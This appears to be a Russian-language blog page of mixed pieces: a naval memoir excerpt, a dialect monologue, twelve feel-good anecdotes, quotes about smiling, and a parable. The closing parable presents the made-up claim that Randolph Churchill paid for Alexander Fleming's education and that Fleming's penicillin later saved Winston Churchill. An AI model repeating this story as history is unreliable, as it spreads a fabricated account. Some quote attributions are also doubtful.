Это когда в служивых я на подводной лодке отбывал флотскую повинность вместо боярских деток с холёными мордами, с рождения скупивших волчьи билеты, да наплодивших по окончании школы себе подобных деточек, дабы только откосить от выполнения конституционного долга.
Мы то преданные… Мы то всегда верим в справедливость.
Зная с пелёнок пророчества Нострадамуса о том, что Золотой Век на Руси наступит по пришествии на трон к 2050 году женщины, то естественно, меня всегда влекло в Эрмитаж — к Великой Екатерине.
И когда… в очередной раз под кистью величайшего мастера портрета Рокотова я отыскивал на холсте родинки у Великой Государыни, сравнивая их со своими прыщиками на щеке, то одна краля бесцеремонно дёрнула меня за гюйс.

—Ёк-макарёк!… Wer ist das?… Что за хамство?—произнёс я, прекрасно зная, что позади меня находилась группа путешествующих по Руси фрейлин с Германии, с интересом рассматривающих свою землячку.—Однако!—заметил я, увидев рядом с собой яркую, солнечную девочку явно иностранного сотворения.
Вот туточки-то: психически крепкий первостатейный старшина, закалённый тремя годами службы на атомном подводном крейсере стратегического назначения, драками на кулачках и боями на ринге Северного Флота — оробел. Под прицельным, сканирующим насквозь убийственным взглядом, сконфузился до бесприличия, будто перед первой брачной ночерью — щёки мои зардели и таки пыхнули неоном.
—Кэ́трин!—представилась дивчина, язвительно улыбаясь, и сжимая мне руку. 
И вижу я девочку чистейших побуждений, да той весенней в Питере порой, когда набухают не только почки на ветвях…
Тю… мадемуазель!… Я есть русский матрос!—молвил я налётчице, указывая на погоны и бескозырку, несколько тушуясь, будто не вовремя засватанный девственник.[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]

Здравствуй друг мой,любезный,дорогой...ай ли... дорогой,а любезный ли,а друг ли?...
Да ты погодь,не серчай...послухай меня-возраст такой пакостный...
Не хочу,а ведь во всем,брат,не по своей вроде как воле,а ёйной, сумневаюся!!!
Ехидна во мне живёть да во всем ковыряется и так вот яна шкрябёт,зараза,да так по-ловчее,по-изворотливее,по-больнее, шоб мне ж от сябя страдалося...
Вот дитко-то,-созданьеце пречистое... пытает-как дождичек капаеть с небушка,где капельки свои сбирает и снова на небеса те летять.А от любви большой к земле домой снова вертаются,торопятся,будто ждут там,заждалися...
А мы,старики?...не почто,а за что наровим спрашать...За что природа так состроена и так меня гнет,да куролесит,будто сам я ни есть природа,а яна ведь с меня допроса не ведеть,за что я всю свою жизнь мелкую так погано с ней...
Эх,друг мой...сгрыз меня червяка склизкий потому как  рядом чистой души не нажил...нет внука!...ангел`ов ко мне выжившему из ума не пущають,боятся...
Эх,ёйными сердцами та... тепленькими прислухаться,глазками ёными присмотреться бы...
Был тут пастрыленок,бегал на рыбалку со мной...словил пескаренка,да тут же его из дрожащих ручонок обратно и обронил...
Уж больно жить рыбье дите хотело...
А мальчуган его нутро собою прочувствовал,да и говорит мне,будто его мальковыми словами...
-Мамка,с батькой заругають,пуститя меня,обрыдаются яны,как им без меня-озеро слез наревуть,пущай живет,а дидо?-...ну,а мне,поди теперя,как дальше-то рыбачить,кады народец такой вокруг..
Прибёг с попутчиками в другое утро,загорелой ручонкой по карман`ам своим шарится,будто чо потерял...карамельку замусоленную достает и мне тягнет...-Дык зубов нетуть,родной-,а он мне-Дидо,у меня ведь тожа нема,растуть плохо,да гнилые,ты за щеку ее положи,сладко ведь!!!
От души дите оторвало,пацанва постаршей, смеются... хитро...поддразнивають-У тебя ж свой дед есть!-..а он им-Неее,я такого хочу!-...
Ох,меня так и прошибло всего...
Отрыбачил я поди,так для виду...по берегу шастаю,все будто всматриваюсь,долго искал...
Увезли ведь, голубу мою,куды и не слыхивал про те места...и такая ж меня тоска подобрала...Что хоть с тобою был бы рад уж и камешком накрыться,на грудь твою и слезиночку не обронить,не капнуть ёйной засоленной,один я совсем один...
Пичуги махонькие вот,слышьподи,не?чирикають горлопаны,голос рвуть свой без остатка,не жалеючи...Ведь ни одного словца ихнего не ведаю,а душою моею они как соломинкою ворочают, с места на место перекладывают и вьют чёйт вьють,а что и по что...не ведаю...Можа ты знаш?
***
В голову лазють таки глупы думки-что не можа не петь птица,потому как птицей-та  яна и создана и себя всю поёть,а я душу ёйную присваиваю,а потому полегчало... 
По верху охота...А там? кто соединил-на нас надеятця...
Ты рядышком,под липкою тожа не зря ведь...

Гонишь...Дык я ж один,кто тя живем слыхивал,кто и теперя как на яву видать тя можа.Друг ты мне,аль хто?
Вона,ты-то передо мною стоишь...живее живых...Бурдишь,чо дурака валяю,чтоб шел с миром и дудку хотя б смастерил сябе-хоть какой прок с меня будя,шоб дудел... и тябе,упокоенному хоть каку песню сдудел бы!!!
Эх,есля доживу,любезный...
-Доживешь,доживешь,пенек трухлявый...на хорошие дела Создатель всегда силушки прибавлят...и жизни даёть...
Нынча земелюшка подо мною пылить, а не мною,дык и мысли мои не над быть обязаны,а я им хоть какую цель задать... куды тропиночку вытоптать,можа шо апосля себя и останеца...А?
2.05.16

---

12 добрых историй из жизни
Как приятно осознавать, что удивительное всегда рядом, главное уметь разглядеть в обычных ситуациях что-то доброе и смешное.
И если постараться, то в жизни каждого можно найти не одну такую позитивную историю. А благодаря людям, которые поделились этими историями, сегодня можете поднять себе настроение и вы.
 
 
 
Я преподаю английский в социальном центре для инвалидов и пенсионеров. Так вот, перед началом урока мои пожилые студенты суетятся, открывают тетради, надевают очки и слуховые аппараты. И вот 81-летний студент, настраивая свой слуховой аппарат, сказал своей жене: — Скажи мне что-нибудь. — Я люблю тебя, — шепотом ответила она. — Что? — подкрутил он свой аппарат. — I love you! Они оба засмущались, и он поцеловал ее нежно в щечку. Мне надо вести английский, а я рыдаю. Любовь есть!
 
Мне было лет 10, когда я пыталась заработать свои первые деньги. Я вязала крючком салфетки и шила прихватки. Потом сдавала их в дом творчества. А когда они там продавались, мне отдавали мои копеечки. Я гордилась безумно! И только в 30 с лишним лет я узнала, что, оказывается, это моя бабуля ходила, покупала все мои «рукодельности» и хранила их у себя.
 
Захожу на почту. Очередь — человек 30, каждый стоит у окна минут по 10-15. Стою уже полчаса — прошли три человека. Передо мной дед лет 70. Внезапно он поворачивается: — Когда я сюда зашел, я был твоего возраста. Вся очередь рухнула. Дед сделал мой день!
 
С того момента, как новорожденная дочь начала произносить первые звуки, я тайком от жены учил ее говорить слово «мама», чтобы это слово было ее первым произнесенным. А тут намедни пришел домой раньше обычного, и меня никто не услышал. Захожу в комнату с женой и ребенком, а жена тайком от меня учит дочь произносить слово «папа»…
 
Каждый день утром к нам во двор приходит старенький дедушка, в руках всегда держит пакет. С его появлением двор оживает, со всех сторон к нему бегут местные кошки и их котята, ластятся к нему, трутся о ноги. Он старается уделить внимание каждой, гладит их, разговаривает. Потом идет к чашечкам, стоящим под деревьями, чистит их, раскладывает еду, наливает молоко и свежую воду. И вся кошачья компания идет завтракать. Все это время из окна за ним наблюдает его жена, которая готовит эти завтраки. Им обоим уже за 70, но с каждой пенсии они выделяют деньги на кошачий корм, консервы и другую еду для кошек. Каждый день в любую погоду он приходит, чтобы накормить их. При встрече с ним всегда хочется поблагодарить его от души, ведь он не только помогает животным, у которых нет дома, он изменил отношение жителей двора к кошкам. Многие начали кормить их и пытаться пристроить. Добро есть!
 
Как интересно работает фортуна: в автобусе мне попался счастливый билет, я его съел, а через десять часов с отравлением попал в больницу, где встретил любовь всей жизни.
 
История, рассказанная моей девушкой. Зашла она сегодня в магазин с младшим братом (ему 2 года).Он увидел девочку, примерно лет 3. Схватил ее за руку и потащил за собой. Девочка в слезы, а отец ее не растерялся и говорит: «Привыкай, доча, мальчики всегда странно проявляют любовь».
 
Купил домой в санузел акриловую ванну. Приехал магазинный мастер, установил ее, подключил — все отлично. Новенькая, красивая — лепота. Прошла пара месяцев, вся поверхность покрылась пузырьками. Ну, думаю, все, лоханулся, до этого была чугунная — и никаких проблем, а тут повелся на рекламу, акриловую взял. Позвонил в магазин, говорю, что г**но продали. Сказали, что высылают мастера. Приезжает техник, снимает с ванны вспузырившуюся защитную пленку и уезжает.
 
Утро. В комнату входит четырехлетний сын, придерживая спадающие штаны руками, и говорит: «Мама, у меня для тебя неприятная новость: я похудел», а по факту резинка в штанишках лопнула.
 
Нас в семье 8 детей — 7 братьев и я, самая младшая. Всегда считала себя особенной: родители не теряли надежды родить девочку — и вот она, я. Но недавно узнала от соседки, что я приемная. Меня удочерили в 2 года. Прорыдала весь день, а потом вдруг меня осенило: ни разу за всю жизнь у меня даже и мысли не было, что я неродная! Никогда родители ничем меня не обделяли, даже, наоборот, я считала себя самой любимой. И братья даже в пылу самой сильной ссоры никогда намека мне не давали на это. Я узнала правду и полюбила свою родную семью еще больше.
 
Как-то видела, как один старичок знакомился с одной старушкой на остановке. Сначала он долго-долго на нее смотрел, а потом сорвал несколько веточек сирени, подошел к этой бабушке и сказал: «Эта сирень такая же прекрасная, как и вы. Меня зовут Иван». Это было так мило. У него есть чему поучиться.
 
Когда я ходила в школу, мама всегда будила меня по утрам. Сейчас я учусь в другом городе за несколько тысяч километров, мне на учебу к 8:30, а маме на работу к 10, но каждое утро она звонит мне в 7 утра и желает доброго утра. Берегите своих мам: они самое ценное, что у вас есть.
                            из инета

---

Подари улыбку

Подари улыбку миру – и мир улыбнется  и подарит тебе радость жизни!
Что значит улыбка, какова ее  сила – в высказываниях умных людей. 
 
 
 
 
 
 
 
 
“Улыбка ничего не стоит, но дорого ценится…”     Д.Карнеги
 
“Если вы хотите, чтобы жизнь улыбалась вам, подарите ей сначала свое хорошее настроение.”       Бенедикт Спиноза 
 
“Почаще улыбайтесь людям и разговаривайте с ними. Это элементарно, не так ли? Чтобы нахмуриться, нужно задействовать 72 мускула, а чтобы улыбнуться – всего 14. Улыбка – первое, что вы замечаете у других.”      З. Зиглар
 
“Улыбка – солнце. Она прогоняет с человеческого лица зиму.”     В. Гюго
 
“Улыбка – недорогой способ выглядеть лучше.”      Чарльз Горди
 
“Вы не испытываете желания улыбаться? Что же в таком случае можно вам предложить? Две вещи. Во-первых, заставьте себя улыбаться. Если вы в одиночестве, насвистывайте или мурлыкайте какую-нибудь мелодию или песню. Поступайте так, как если бы вы уже были счастливы, и это приведет вас к счастью.”    Дейл Карнеги
 
“Весёлые люди делают больше глупостей, нежели грустные. Но грустные делают БОЛЬШИЕ глупости.”      Эвальд Кристиан Фон Клейст
 
“Человечество, смеясь, расстаётся со своим прошлым.”      Карл Маркс
 
“Каждое утро я просыпаюсь и говорю себе: «Я могу выбрать быть в хорошем настроении или в плохом настроении. Я выбираю быть в хорошем настроении».”       Харви Маккей, американский миллионер
 
“Детей, особенно девочек, нужно в раннем возрасте приучать к непринужденному смеху, ибо веселое выражение лица постепенно отражается и на внутреннем мире и вырабатывает расположение к веселости, приветливости и благосклонности ко всем.”    Иммануил Кант
 
“Каждый раз, когда женщины чего либо не понимают, на лице у них появляется приятная, нежная улыбка, и тогда кажется, что они все понимают.”       Этьен Рей
 
“Нужно немного, чтобы вызвать улыбку, и достаточно улыбки, чтобы все стало возможным.’     Жильбер Сесброн
 
“Смех есть веселость ума, улыбка — веселость сердца.”    Эдмон Гонкур
 
"Настоящий джентльмен тем и отличается, что всегда платит с улыбкой.”    Джордж Шоу
 
“Улыбайтесь, ибо у всех людей не хватает уверенности в себе, а улыбка больше, чем что-либо другое, придает этой уверенности”.      Андре Моруа
 
“Улыбаться приятно, это физически приятно. Ещё приятнее смеяться. А хохотать – это же просто удовольствие!”       Евгений Гришковец
 
"Что сделалось смешным, не может быть опасным.”      Вольтер
 
“Когда человек улыбается, а еще больше когда смеется, он как бы успевает продлить свою жизнь, этот короткий миг.”     Л. Стерн
 
“Смех и улыбка – это врата, через которые в человека может проникнуть много хорошего.”     С. Моргенштерн
 
“Жаловаться на неприятную вещь – это удваивать зло; смеяться над ней – это уничтожить его.”     Конфуций
 
“Со смехом ужас несовместим.”     Пушкин Александр Сергеевич
 
“Улыбайтесь, господа! Улыбайтесь!”     барон Мюнхгаузен
 
“Подари улыбку миру, звезды новые зажги, песню радости и счастья всей планете подари!”
                                                                                                          

«Сделанное тобой к тебе же и вернется» (притча)

В начале двадцатого века один шотландский фермер возвращался домой и проходил мимо болотистой местности. Вдруг он услышал крики о помощи. Фермер бросился на помощь и увидел мальчика, которого засасывала в свои жуткие бездны болотная жижа.
Мальчик пытался выкарабкаться из страшной массы болотной трясины, но каждое его движение приговаривало его к скорой гибели. Мальчик кричал от отчаяния и страха. Фермер быстро срубил толстый сук, осторожно приблизился и протянул спасительную ветку утопающему. Мальчик выбрался на безопасное место. Его пробивала дрожь, он долго не мог унять слезы, но главное — он был спасен!
— Пойдем ко мне в дом, — предложил ему фермер. — Тебе надо успокоиться, обсушиться и согреться.
— Нет-нет, — мальчик покачал головой, — меня папа ждет. Он очень волнуется, наверное.
С благодарностью посмотрев в глаза своему спасителю, мальчик убежал…

Утром, фермер увидел, что к его дому подъехала богатая карета, запряженная роскошными породистыми скакунами. Из кареты вышел богато одетый джентльмен и спросил:
— Это вы вчера спасли жизнь моему сыну?
— Да, я, — ответил фермер. — Сколько я вам должен?

— Не обижайте меня, господин. Вы мне ничего не должны, потому что я поступил так, как должен был поступить нормальный человек.
— Нет, я не могу оставить это просто так, потому что мой сын мне очень дорог. Назовите любую сумму, — настаивал посетитель.
— Я больше ничего не хочу говорить на эту тему. До свидания. — Фермер повернулся, чтобы уйти. И тут на крыльцо выскочил его сынишка.
— Это ваш сын? — спросил богатый гость.
— Да, — с гордостью ответил фермер, поглаживая мальчика по головке.
— Давайте сделаем так. Я возьму вашего сына с собой в Лондон и оплачу его образование. Если он так же благороден, как и его отец, то ни вы, ни я не будем жалеть об этом решении.
Прошло несколько лет. Сын фермера закончил школу, потом — медицинский университет, и вскоре его имя стало всемирно известно, как имя человека, открывшего пенициллин. Его звали Александр Флемминг.
Перед самой войной в одну из богатых Лондонских клиник поступил с тяжелейшей формой воспаления легких сын того самого джентльмена. Как вы думаете, что спасло его жизнь в этот раз? — Согласно легенде, это был пенициллин, открытый Александром Флеммингом.
Имя богатого джентльмена, давшего образование Флеммингу, было Рандольф Черчилль. А его сына звали Уинстон Черчилль, который впоследствии стал премьер-министром Англии.
Уинстон Черчилль как-то сказал: «Сделанное тобой к тебе же и вернется».